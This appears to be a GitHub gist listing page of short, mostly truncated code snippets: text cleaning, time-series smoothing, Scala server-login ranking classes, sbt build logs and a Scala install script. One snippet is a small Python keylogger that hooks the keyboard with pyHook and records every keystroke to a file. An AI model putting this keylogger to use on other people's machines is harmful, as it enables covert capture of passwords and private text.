This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import string | |
| def clean_data(data): | |
| for char in string.punctuation: | |
| data = data.replace(char, "") | |
| return data |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| data = open('sequence', 'r').readlines() | |
| elements = {} | |
| for line in data: | |
| (user, element, js_time) = line.split("\t") | |
| if element not in elements: | |
| elements[element] = 1 | |
| else: | |
| elements[element] += 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from random import randint | |
| from itertools import islice | |
| from __future__ import division # For Python 2 | |
| y = [ randint(1,999) for num in range(30) ] | |
| def window(seq, n=2): | |
| it = iter(seq) | |
| result = tuple(islice(it, n)) | |
| if len(result) == n: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def holtwinters(y, alpha, beta, gamma, c, debug=True): | |
| """ | |
| y - time series data. | |
| alpha , beta, gamma - exponential smoothing coefficients | |
| for level, trend, seasonal components. | |
| c - extrapolated future data points. | |
| 4 quarterly | |
| 7 weekly. | |
| 12 monthly |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import pyHook, pythoncom, sys, logging | |
| file_log = '/home/Ubuntu/log' | |
| def OnKeyboardEvent(event): | |
| logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') | |
| chr(event.Ascii) | |
| logging.log(10,chr(event.Ascii)) | |
| return True | |
| hooks_manager = pyHook.HookManager() | |
| hooks_manager.KeyDown = OnKeyboardEvent | |
| hooks_manager.HookKeyboard() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| case class OutsideServer(val ipAddress: String, val LoginsPerMinute: Int) extends Ordered[OutsideServer] { | |
| def compare(that: OutsideServer): Int = { | |
| val count = this.LoginsPerMinute - that.LoginsPerMinute | |
| if (count == 0) this.ipAddress.compareTo(that.ipAddress) else count | |
| } | |
| } | |
| case class InsideServer(val ipAddress: String, val LoginsPerMinute: Int) extends Ordered[InsideServer] { | |
| def compare(that: InsideServer): Int = { | |
| val count = this.LoginsPerMinute - that.LoginsPerMinute |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [info] Including: scala-library-2.10.4.jar | |
| [info] Including: netty-all-4.0.17.Final.jar | |
| [info] Including: jetty-server-8.1.14.v20131031.jar | |
| [info] Including: javax.servlet-3.0.0.v201112011016.jar | |
| [info] Including: jetty-continuation-8.1.14.v20131031.jar | |
| [info] Including: jetty-http-8.1.14.v20131031.jar | |
| [info] Including: jetty-io-8.1.14.v20131031.jar | |
| [info] Including: jetty-util-8.1.14.v20131031.jar | |
| [info] Including: jetty-plus-8.1.14.v20131031.jar | |
| [info] Including: javax.transaction-1.1.1.v201105210645.jar |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| '[info] Including: JavaEWAH-0.6.6.jar\n', | |
| '[info] Including: ST4-4.0.4.jar\n', | |
| '[info] Including: activation-1.1.jar\n', | |
| '[info] Including: akka-actor_2.10-2.2.3-shaded-protobuf.jar\n', | |
| '[info] Including: akka-remote_2.10-2.2.3-shaded-protobuf.jar\n', | |
| '[info] Including: akka-slf4j_2.10-2.2.3-shaded-protobuf.jar\n', | |
| '[info] Including: akka-zeromq_2.10-2.2.3-shaded-protobuf.jar\n', | |
| '[info] Including: algebird-core_2.10-0.1.11.jar\n', | |
| '[info] Including: ant-1.9.0.jar\n', | |
| '[info] Including: ant-launcher-1.9.0.jar\n', |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # scala install | |
| wget www.scala-lang.org/files/archive/scala-2.11.7.deb | |
| sudo dpkg -i scala-2.11.7.deb | |
| # sbt installation | |
| echo "deb https://dl.bintray.com/sbt/debian /" | sudo tee -a /etc/apt/sources.list.d/sbt.list | |
| sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 642AC823 | |
| sudo apt-get update | |
| sudo apt-get install sbt |
OlderNewer